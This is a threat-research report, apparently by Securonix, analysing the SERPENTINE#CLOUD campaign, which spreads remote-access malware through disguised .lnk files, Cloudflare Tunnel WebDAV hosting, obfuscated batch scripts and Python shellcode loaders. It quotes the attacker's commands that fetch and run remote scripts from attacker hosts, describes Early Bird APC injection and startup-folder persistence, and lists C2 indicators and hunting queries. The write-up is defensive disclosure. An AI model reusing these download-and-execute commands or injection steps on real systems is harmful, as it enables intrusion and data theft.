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Analyzing SERPENTINE#CLOUD: Threat Actors Abuse Cloudflare Tunnels to
Infect Systems with Stealthy Python-Based Malware
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tldr:

Securonix threat researchers have been tracking a stealthy campaign involving (.lnk) files to deliver remote payloads hosted on
attacker-controlled Cloudflare Tunnel subdomains. The infection chain ends in a Python-based shellcode loader that executes
Donut-packed payloads entirely in memory.

https://www.securonix.com/blog/analyzing_serpentinecloud-threat-actors-abuse-cloudflare-tunnels-threat-research/
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An ongoing malware campaign tracked as SERPENTINE#CLOUD has been identified as leveraging the Cloudflare Tunnel
infrastructure and Python-based loaders to deliver memory-injected payloads through a chain of shortcut files and obfuscated
scripts. For initial access, the threat actors are luring users to execute malicious .lnk files (shortcut files) disguised as documents to
silently fetch and execute remote code. This kicks off a rather elaborate attack chain consisting of a combination of batch, VBScript
and Python stages to ultimately deploy shellcode that loads a Donut-packed PE payload.

The shortcut files are delivered via phishing emails that contain a link to download a zipped document, often themed around
payment or invoice scams. This assessment is based on the naming convention of the ZIP files observed, many of which included
the word “invoice.”

Attribution remains unknown, though the attacker demonstrates fluency in English based on code comments and scripting
practices. Telemetry indicates a strong focus on Western targets, with confirmed activity observed in the United States, United
Kingdom, Germany and other regions across Europe and Asia. The use of Cloudflare for payload hosting allows the attackers to
remain anonymous and since their infrastructure is secured behind a trusted network, monitored traffic to this network will rarely
raise alarms or be flagged as suspicious by network monitoring tools.

Campaign Evolution: Shifting Initial Access Techniques

Over time, the threat actor behind the SERPENTINE#CLOUD campaign has demonstrated an interesting evolution in their initial
access methods, likely in response to detection and delivery challenges. Our team was able to correlate and identify early samples
going back several months that relied on .url files, leveraging Windows Internet Shortcuts to lure users into clicking links that
launched remote payloads via embedded URLs. While simple, this method was easily flagged by email filters and trained users.

Subsequent stages featured low effort .bat files, often delivered in ZIP archives. These batch scripts contain straightforward
execution logic, using the same WebDAV paths to download and run payloads from Cloudflare tunnels. Despite their simplicity,
these files lacked any meaningful obfuscation and were likely intended for opportunistic infections in poorly monitored
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environments. Many were likely ignored by potential victim users as they don’t resemble a standard document, thus raising
suspicion.

More recently, the threat actor has transitioned to using .lnk shortcut files disguised as PDF documents. These payloads are much
more sophisticated and use cmd.exe to silently retrieve additional stages over WebDAV (via Cloudflare Tunnel subdomains) and
invoke WSF or batch-based droppers. The .lnk file extension is always hidden (even if “show file extensions” are enabled in
Windows), and they also support custom icons.

The overall progression provides data into a growing maturity in the actor’s tradecraft; shifting from opportunistic delivery to an
overall stealthier infection chain designed to evade both user scrutiny and endpoint defenses.

Attacker’s infrastructure

In this campaign, the threat actor leverages Cloudflare’s tunneling service—specifically the trycloudflare[.]com subdomain—to host
and deliver malicious payloads. This service is commonly used by developers for temporarily exposing local servers to the internet
without modifying firewall rules or setting up static infrastructure. However, in recent years it has been increasingly abused by
attackers for covert payload delivery and command-and-control (C2) communication.

An example payload Source:

\\flour-riding-merit-refers.trycloudflare[.]com@SSL\DavWWWRoot\RE_02WSF

Delivery Protocol:

WebDAV over HTTPS (@SSL\DavWWWRoot)

We identified many Cloudflare domains involved in the SERPENTINE#CLOUD campaign provided at the end of the publication.
Additionally, many of the instances we analyzed were online allowing us access to connect and download additional payloads for
analysis. Despite the huge number of payloads that we were able to capture, almost all followed a predictable pattern highlighted in
this report.

Figure 1: Screenshots of hosted content by the attacker from within a browser

Why use Cloudflare tunnels?
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Through the course of the SERPENTINE#CLOUD campaign, we observed the attackers using Cloudflare’s tunnel infrastructure to
host initial payloads and stagers.

Allows attackers to host content on a local machine that is both dynamic and ephemeral. Due to its nature, it can expose
assets to the public internet with a temporary *.trycloudflare[.]com subdomain, all through a trusted cloud network
Eliminates the need to register domains or rent VPS servers, making takedowns and attribution significantly more difficult
Reputable CDN Protection: Domains under trycloudflare[.]com are fronted by Cloudflare’s global CDN and protected by its
TLS certificates. This can help the infrastructure blend in with legitimate traffic and evade URL or domain-based blocking
mechanisms
The use of HTTPS (and in this case, WebDAV over SSL) encrypts payload delivery, circumventing deep packet inspection
and some NIDS/NIPS systems
Since trycloudflare[.]com is intended for legitimate testing and development use, many organizations do not explicitly block or
monitor traffic to it

In addition to Cloudflare, further in the execution stage, we observed the attackers making use of custom domains such as
nhvncpure[.]shop and dynamic DNS hosting services using duckdns, such as nhvncpurekfl.duckdns[.]org.

Initial infection: Code execution through .LNK files

The attack begins with a malicious shortcut (.lnk) file masquerading as a PDF document named RE_05FSKBSAXZ25A.pdf.lnk. The
shortcut is crafted to appear benign by using a PDF icon most of the time and a friendly display name (“Browse the web”).
However, forensic analysis using LECmd reveals that the shortcut is configured to execute a command via cmd.exe, using native
Windows utilities to download and execute a second-stage payload.

Figure 2: RE_05FSKBSAXZ25A.pdf.lnk – command and shortcut contents

After execution we observe the following command being executed through log analysis:

cmd.exe /c robocopy “\\flour-riding-merit-refers.trycloudflare[.]com@SSL\DavWWWRoot\RE_02WSF” %temp% tank.wsf /ns /nc /nfl
/ndl >nul & start /min “” cscript.exe //nologo “%temp%\tank.wsf”

When executed, the LNK file triggers a multi-stage infection sequence which we’ll walk though in detail:
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1. Payload Download via Robocopy and WebDAV:
1. Uses robocopy to pull a malicious .wsf script (tank.wsf) from a remote WebDAV share hosted on a trycloudflare[.]com

subdomain.
2. The robocopy command becomes:

robocopy “\\flour-riding-merit-refers.trycloudflare[.]com@SSL\DavWWWRoot\RE_02WSF” %temp% tank.wsf /ns /nc /nfl
/ndl >nul

3. The method evades many traditional network filtering tools by leveraging legitimate WebDAV transport over HTTPS.

2. Script Execution via Windows Script Host (WSH):
1. The downloaded script is executed using cscript.exe with minimal visibility to the user:


start /min “” cscript.exe //nologo “%temp%\tank.wsf”
2. The start /min parameter ensures the script runs minimized, and //nologo suppresses banner output.

Stage 2: Code execution through WSF files

After the malicious .lnk file initiates execution, it downloads and executes a Windows Script File (tank.wsf in this example) via
cscript.exe. This WSF file functions as a lightweight VBScript-based loader, designed to execute an external batch file from a
second Cloudflare domain, this time at depot-arrange-zero-kai.trycloudflare[.]com.

An example of one of the gathered WSF files can be seen in the figure below:

Figure 3: contents of jenk.wsf

In the end the purpose of tank.swf is to execute a simple command which will download and execute the next stage payload (stage
3), kiki.bat from yet another remote CloudFlare domain.

cmd.exe /c “\\depot-arrange-zero-kai.trycloudflare[.]com@SSL\DavWWWRoot\kiki.bat”

Similar to that of the code we observed in stage 1, this command also makes use of WebDAV to connect to the remote file share.

Stage 3: Batch code execution

The next payload in the attack chain is a heavily obfuscated batch file. We’ve analyzed plenty of obfuscated batch files in the past,
in fact we’ve even put together useful article explaining common obfuscation techniques and deobfuscation methodology.

https://www.securonix.com/blog/securonix-threat-research-knowledge-sharing-series-batch-obfuscation/
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The initial payload appears as a nonsensical sequence of characters due to encoding-layer obfuscation. This method of
obfuscation is done by taking a simple UTF-8 file and encoding it to UTF16-LE. The interpreter won’t know any difference, however
when inspecting it with a text editor (that supports both encoding schemes), it will appear as garbage.

An example of this can be seen below:

Figure 4: contents of kiki.bat – character encoding obfuscation

Deobfuscation is simple, while there are a number of online tools that can accomplish this. The simplest way is to simply reverse
the process by encoding the text to UFT-16LE.

Once completed, we’re presented with decoded text! However, we’re not out of the woods yet as we’ve got more obfuscation to
fight through:

https://github.com/bobby-tablez/Py-BATCH-Fuscator
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Figure 5: contents of kiki.bat after decoding – character substitution obfuscation

This advanced form of obfuscation makes use of variable reuse and dynamic command construction to hide its original code. The
batch file first builds a single variable string by setting a variable to it:

set “Ü= 1EZym@VCjkvHNhuwPRboMOd3qnLxFelUKQs9ac5rI04YAz6iGBStX8pf2JT7gWD”

In this case we have the variable “Ü” which contains every character needed by the script to execute (including a space at the
beginning). Next, the entire body of the script calls sequenced variables specific character from the “Ü” variable, which builds out
the command when executed in sequence

The easiest way we found to deobfuscate this was to set the original variable in our terminal and then echo each line, one by one.
After ~5 minutes we were able to reveal the entire deobfuscated script as seen in the figure below:
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Figure 6: deobfuscated contents of kiki.bat – beginning and next stage payload downloads

Batch file analysis

The kiki.bat file serves as the main payload delivery script next in the series of stagers. Overall, it’s designed for stealth and
persistence, partially due to the complexity of the obfuscation used.

Its main purpose is to first deploy a decoy PDF, check for antivirus software, download and execute Python payloads and establish
persistence through the Windows startup folder. The script also encodes its C2 infrastructure using base64 to avoid detection.

Vibe coded malware?

Interestingly enough, the batch file almost appears to be “Vibe coded” using an LLM as it has well written comments or remarks
throughout each section, while we can’t be 100% certain, based on the contained comments, We’ll let you be the judge:

:: Relaunch in hidden mode if not already hidden
:: Ensure script runs in the correct directory
:: Function to search for and open a PDF file in the Contacts folder

It also contains lots of friendly “echo” commands which will provide status updates as to how each stage of the script is performing
by printing successes and failures. When generating code via LLM, this is a pretty common side effect from what we’ve observed in
the past. While useful for production code, rarely do we see this in traditional malware payloads. Since kiki.bat executes in a hidden
window, they will not be seen by the user regardless.

Python execution and next-state payloads

One of the primary purposes of the batch file is to download a zip file that contains the entire Python library, required packages and
the Python-based malware which we’ll go over in the next section. In this particular sample, the Python package was downloaded
from hxxps://eastern-instructional-ant-jungle.trycloudflare[.]com/cam.zip and saved into the user’s C:\Users\username\contacts
directory.

The script then extracts the zip file into another directory located at C:\Users\username\contacts. After changing directories into
“Extracted”, it then immediately begins executing four Python-based payloads.

From \Extracted:
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Jun02_an.py
Jun02_as.py
Jun02_hv.py
Jun02_uk.py
Jun02_xw3.py

From \Print:

Wsandy1.py
Wsandy2.py
Wsandy3.py
Okwan1.py
Okwan2.py
Okwan3.py

Persistence is then established by downloading three unique payloads into the user’s startup directory. This is a common
persistence method as Windows will execute any file or script located in the directory once the user logs in. We observed the
following files being dropped:

C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pws1.vbs
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PWS.vbs
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startuppp.bat

We’ll dive into these files later on in the Persistence section.

Figure 7: deobfuscated contents of kiki.bat – Python library and payload downloads

Towards the end of the script another zip file (FTSP.zip) is downloaded, extracted into the Contacts\Print directory and then deleted
after extraction. Inside each of the extracted directory contained the entire Python library and more malicious scripts which we
referenced earlier.
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Figure 8: deobfuscated contents of kiki.bat – file cleanup, hide files and payload execution

Lastly, the batch script uses the Windows utility attrib to set the directories as hidden and then executes a final Python payload
using the command:

python.exe run.py -i jun02_an.bin -k a.txt

While we’ll get into this command and the purpose of the file later, overall the script performs the following functions:

Stage Purpose Details

1 Hidden Relaunch Relaunches itself using PowerShell with -WindowStyle Hidden to avoid visible execution
artifacts

2 PDF Decoy Display Searches for a .pdf file in the Contacts folder and opens it to appear legitimate

3 Antivirus Detection Checks for AvastUI.exe or avgui.exe via tasklist to determine if an AV product is active

4 Payload Download &
Extraction

Downloads a ZIP file from a base64-encoded C2 URL and extracts it into Contacts\Extracted

5 Python Payload
Execution

Executes four Python scripts from the extracted ZIP payload: Jun02_as.py, Jun02_hv.py,
Jun02_xw3.py, and Jun02_uk.py

6 VBS-Based Persistence Downloads two .vbs files (PWS.vbs, pws1.vbs) and places them in the Windows startup folder
to ensure persistence

7 Stage-2 Payload
Deployment

Downloads and extracts a second ZIP file (FTSP.zip) to a deeper path containing additional
Python content

8 Cleanup & Final
Execution

Deletes temporary files, hides directories, and runs a final decryption/execution script: run.py -
i Jun02_an.bin -k a.txt

At this stage the lure PDF document is opened and presented to the user. The script scans the C:\Users\username\Contacts folder
for any document matching *.pdf and presents it to the user.

Python execution
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Each zip file that we analyzed that gets extracted into a sub directory in the user’s Contacts folder contains at least three binary
packed Python files, and a plain text Python file that acts as a shellcode loader.

If you recall from the previous section this file (run.py) is executed from the obfuscated batch file. The shellcode loader also has a
“vibe coded” feel to it with lots of friendly comments and print statements which provide useful errors and feedback.  The script
takes two parameters as input:

-i: a file (jun02_an.bin) which contains the shellcode
-k: a key file used to decrypt the shellcode using XOR

Figure 9: run.py – main function snippet

Process injection using Early Bird APC injection

The run.py script implements Early Bird APC injection to stealthily execute shellcode within a newly spawned process.

To start, it uses CreateProcessA with the CREATE_SUSPENDED flag to launch an arbitrary victim process (notepad.exe in this
case) into a suspended state.

Next, the script checks that the process’s primary thread hasn’t yet started execution which is a critical window of opportunity for
this type of injection. Once the process is suspended, the script allocates executable memory in the target process using
VirtualAllocEx and then writes the decrypted shellcode contents into it via WriteProcessMemory.

APC (Asynchronous Procedure Calls) and performed pointing to the shellcode using QueueUserAPC. Finally, it resumes the main
thread using ResumeThread, causing the APC (notepad.exe process with the injected shellcode) to execute before the process
performs any of its legitimate tasks.

This behavior is consistent with Early Bird-style injection: by queuing execution before a thread starts, the injected code hijacks
control in a manner that is often invisible to userland hooks and difficult for EDRs to correlate with malicious behavior. The
script completes its operation by waiting for the thread to finish (WaitForSingleObject) and closing all handles.
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Figure 10: run.py – shellcode handling for process injection

After execution we immediately observed the notepad.exe process beaconing out to 192.169.69[.]26 on port 7878
(djksncb.duckdns[.]org).

Below is the observed process tree we observed:

Figure 11: process tree for SERPENTINE#CLOUD

Python binary packed file analysis

Despite the .py extension, the .py files executed in stage 3 (asside from run.py) were binary Python files obfuscated using Kramer.
Kramer is an obfuscation tool for Python code designed to evade both static detection and reverse engineering. The tool provides
functionality, resulting in a “.pyc” (renamed to .py) file.  The Python payload is processed through the following layers of
obfuscation:

Alphanumeric Shift Encoding:

Alphanumeric characters are shifted using a Caesar-style offset defined in an _ekyrie mapping.

A corresponding _dkyrie function in the stub reverses this operation.

Bytewise Shift With Random Key:

Remaining characters are further modified with a second numeric key (applied additively or subtractively).

This step is randomized on a per-build basis.

Newline Obfuscation:
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All newline characters (\n) are replaced with a custom symbol, typically ζ, to disrupt plaintext pattern recognition.

Hex Encoding:

The entire payload is hex-encoded line-by-line and injected into a Python stub for runtime decryption and execution.

The result is saved as a Python binary file (.pyc) and renamed to a standard Python scripting file (.py)

To reverse this advanced obfuscation technique, we put together a tool that brute-forces the random key (ranging from 3 to
1,000,000) to recover the original, unobfuscated Python code. In our case, the key was near the upper end of the range: 808933

Figure 12: Unobfuscated Python code (Jun02_an.py)

After successful decryption of the Kramer obfuscated Python file (Jun02_an.py), the final-stage payload is revealed to be a Python-
based in-memory shellcode loader. This script uses standard Windows API calls via Python’s ctypes module and includes
embedded RC4-encrypted shellcode, which it decrypts and executes dynamically at runtime.

At a high level the shellcode loader performs the following functions:

1. Decrypts RC4-encrypted shellcode
2. Allocates RWX memory in the current process
3. Copies decrypted shellcode into memory
4. Executes it in-place using a function pointer cast

Following the RC4 decryption and execution of embedded shellcode in the Python loader, the payload resolves into a Windows PE
file. Analysis of the extracted binary reveals a strong signature match to Donut, a well-known in-memory .NET/PE loader
framework. Donut is an open source tool designed to generate position-independent shellcode that can load and execute PE or
.NET assemblies in memory without writing them to disk. It’s used extensively in red team operations and now more frequently in
real-world threat campaigns. The high entropy score suggested that this shellcode was also encrypted. However, dynamically
analyzing the shellcode’s behaviors there was no need to proceed further.

At this stage we observed the python.exe process beaconing out to several domains all pointing back to the same IP address
(51.89.212[.]145 [ip145.ip-51-89-212[.]eu]).

nhvncpure[.]shop
nhvncpure[.]sbs

https://gist.github.com/bobby-tablez/bb1f13c10231192a8e0ebc58548951d3
https://github.com/TheWover/donut
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nhvncpure[.]click
duckdns[.]org
duckdns[.]org
duckdns[.]org
duckdns[.]org
twilightparadox[.]com
strangled[.]net
mooo[.]com
nhvncpure[.]duckdns.org

The end result is a RAT Payload which gives the attackers full command and control over the host. Many of the binary files appear
to be common or open source RAT utilities such as AsyncRAT, or RevengeRAT. With stealthy persistence over the infected host
the attacker has the ability to steal passwords, browser/session data, exfiltrate sensitive data or attempt to move laterally to other
systems. While we observed the attackers deploy RAT payloads through Python loaders, we did not directly observe any further
activity from the threat actors at this stage.

Persistence

This was achieved purely through the batch file in Stage 3 which made use of the Windows startup files directory. Three files were
dropped:

pws1.vbs
PWS.vbs
startuppp.bat

Strangely enough, PWS.vbs is the same file as kiki.bat which we analyzed earlier, meaning on startup the entire attack chain starts
all over again.

startuppp.bat

The file startuppp.bat made use of the same obfuscation techniques found in kiki.bat. While the file performs some similar
functions, it is a bit more trimmed down.

Figure 13: deobfuscated contents of startuppp.bat
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In a nutshell, the startuppp.bat file functions as a persistence mechanism and conditional execution wrapper.

To maintain stealth, it uses PowerShell to relaunch itself in hidden mode unless already invoked with a hidden argument. Once
hidden, it shifts execution into a benign-looking directory (C:\Users\admin\contacts\Print) that contains Python payloads (referenced
in stage 3).

The script includes a conditional logic check against the presence of the “useRFiles” environment variable set during initial
execution based on antivirus detection.

If the variable is present (AV detected), the script runs a series of payloads named Okwan1.py , Okwan2 and Okwan3.py.
Otherwise, it defaults to Wsandy1.py through Wsandy3.py.

Execution concludes with a final loader call to run.py, which decrypts and executes a new binary shellcode payload (mag.bin) using
a corresponding XOR key file (a.txt), similar to the shellcode loader we observed prior in stage 3.

pws1.vbs

The purpose of this script is simply to keep the system “active”. Upon execution, it enters an infinite loop, sending the SHIFT key
(SendKeys “+”) every   seconds. While seemingly benign, this activity is a subtle evasion technique designed to prevent system
idling, screen locking or entering into a sleep state that could interrupt malware execution.

Figure 14: contents of pws1.vbs

Wrapping up…

The SERPENTINE#CLOUD campaign is a complex and layered infection chain that blends a bit of social engineering, living-off-
the-land techniques and evasive in-memory code execution. The threat actors behind this activity provide us with new insights and
detection opportunities as to how they are able to remain stealthy while successfully backdooring systems. The progressive use of
scripts and various file types to obscure their true intent lead us on a long path of obfuscation, until the final payload is active in
memory.

From deceptive .lnk files to obfuscated batch scripts and Python shellcode loaders, each stage of the attack is designed to delay
detection while maintaining access as stealthily as possible. The abuse of Cloudflare Tunnel infrastructure further complicates
network visibility by giving the actor a disposable and encrypted transport layer for staging malicious files without maintaining
traditional infrastructure.
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While attribution remains uncertain, after observing the campaign’s structure the use of English-language comments and the focus
on Western targets suggest a somewhat sophisticated actor testing scalable delivery methods. The use of tools like Donut and the
Kramer obfuscator reinforces the intent to operate beneath the radar of traditional defenses.

Campaign Highlights

.lnk shortcut files disguised as documents to initiate infection
Phishing lures commonly themed around fake invoices, often in ZIP archives
WebDAV-based payload delivery hosted on temporary Cloudflare Tunnel subdomains
Obfuscated .wsf and .bat scripts to stage and launch next phases
Decryption and execution of Python-based shellcode loaders entirely in memory
Embedded shellcode executes a Donut-packed PE payload without touching disk
Strong focus on stealth, modularity, and anti-forensics throughout the chain
Targeting in Western countries including the U.S., U.K., and Germany

Securonix recommendations

As this campaign likely started using phishing emails, avoid downloading files or attachments from external sources,
especially if the source was unsolicited. Common file types include zip, rar, iso and pdf. Additionally, external links to
download these kinds of files should be considered equally dangerous.
In Windows, enable file extension visibility to ensure proper file extensions.
Monitor common malware staging directories, especially script-related activity in world-writable directories. In the case of this
campaign the threat actors staged their QEMU instance from the user’s home directory at: %HOME%\Contacts.
Monitor for the use of legitimate software such as Python being executed from unusual locations.
We strongly recommend deploying robust endpoint logging capabilities to aid in PowerShell detections. This includes
leveraging additional process-level logging such as Sysmon and PowerShell logging for additional log detection coverage.
Securonix customers can scan endpoints using the Securonix hunting queries below.

MITRE ATT&CK Matrix

Tactics Techniques

Initial Access T1566.001: Phishing: Spearphishing Attachment

Command and Control T1071.001: Application Layer Protocol: Web Protocols
T1132: Data Encoding

T1572: Protocol Tunneling

Defense Evasion T1027: Obfuscated Files or Information
T1027.010: Obfuscated Files or Information: Command Obfuscation

T1027.012: Obfuscated Files or Information: LNK Icon Smuggling

T1027.013: Obfuscated Files or Information: Encrypted/Encoded File

T1036: Masquerading

T1218: System Binary Proxy Execution

T1564.006: Hide Artifacts: Run Virtual Instance

Lateral Movement T1021.007: Remote Services: Cloud Services

https://www.securonix.com/blog/improving-blue-team-threat-detection-with-enhanced-siem-telemetry/
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Execution T1055: Process Injection
T1059.001: Command and Scripting Interpreter: PowerShell

T1059.003: Command and Scripting Interpreter: Windows Command Shell

T1059.005: Command and Scripting Interpreter: Visual Basic

T1059.006: Command and Scripting Interpreter: Python

T1204.001: User Execution: Malicious Link

T1204.002: User Execution: Malicious File

T1620: Reflective Code Loading

Persistence T1072: Software Deployment Tools

Exfiltration T1041: Exfiltration Over C2 Channel

Relevant Securonix detections

EDR-ALL-80-RU
EDR-ALL-1215-ERR
EDR-ALL-1226-RU
EDR-ALL-1280-RU
PSH-ALL-316-RU
WEL-ALL-1186-ERR

Relevant hunting queries

(remove square brackets “[ ]” for IP addresses or URLs)

index = activity AND rg_functionality = “Next Generation Firewall” AND destinationaddress = “51.89.212[.]145”
index = activity AND rg_functionality = “Next Generation Firewall” AND (destinationhostname CONTAINS “nhvncpure[.]shop”
OR destinationhostname CONTAINS “nhvncpure[.]sbs” OR destinationhostname CONTAINS “nhvncpure[.]click” OR
destinationhostname CONTAINS “nhvncpureybs.duckdns[.]org” OR destinationhostname CONTAINS
“nhvncpurekfl.duckdns[.]org” OR destinationhostname CONTAINS “ncmomenthv.duckdns[.]org” OR destinationhostname
CONTAINS “hvncmomentpure.duckdns[.]org” OR destinationhostname CONTAINS “nhvncpure.twilightparadox[.]com” OR
destinationhostname CONTAINS “nhvncpure1.strangled[.]net” OR destinationhostname CONTAINS
“nhvncpure2.mooo[.]com” OR destinationhostname CONTAINS “nhvncpure.duckdns[.]org” OR destinationhostname
CONTAINS “ip145.ip-51-89-212[.]eu”)
index = activity AND rg_functionality = “Endpoint Management Systems” AND (deviceaction = “File created” OR deviceaction
= “File created (rule: FileCreate)”) AND (customstring49 CONTAINS “Contacts\Extracted” OR customstring49 CONTAINS
“Contacts\print” OR customstring49 CONTAINS “Contacts\EMP”)
index = activity AND rg_functionality = “Endpoint Management Systems” AND (deviceaction = “Process Create” OR
deviceaction = “Process Create (rule: ProcessCreate)” OR deviceaction = “ProcessRollup2” OR deviceaction = “Procstart”
OR deviceaction = “Process” OR deviceaction = “Trace Executed Process”) AND destinationprocessname ENDS WITH
“python.exe” AND (customstring54 NOT CONTAINS “C:\Python” OR customstring54 NOT CONTAINS “\AppData\Local\” OR
customstring54 NOT CONTAINS “\Program Files”)
index = activity AND rg_functionality = “Endpoint Management Systems” AND (deviceaction = “Network connection detected”
OR deviceaction = “Network connection detected (rule: NetworkConnect)”) AND destinationprocessname ENDS WITH
“notepad.exe”

C2 and infrastructure

C2 Address

nhvncpure[.]shop
nhvncpure[.]sbs

nhvncpure[.]click
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nhvncpureybs.duckdns[.]org

nhvncpurekfl.duckdns[.]org

ncmomenthv.duckdns[.]org

hvncmomentpure.duckdns[.]org

nhvncpure.twilightparadox[.]com

nhvncpure1.strangled[.]net

nhvncpure2.mooo[.]com

nhvncpure.duckdns[.]org

ip145.ip-51-89-212[.]eu

51.89.212[.]145

hxxps://vocabulary-bangladesh-designation-manhattan.trycloudflare[.]com

hxxps://flour-riding-merit-refers.trycloudflare[.]com

hxxps://agricultural-brooks-nevertheless-hawk.trycloudflare[.]com
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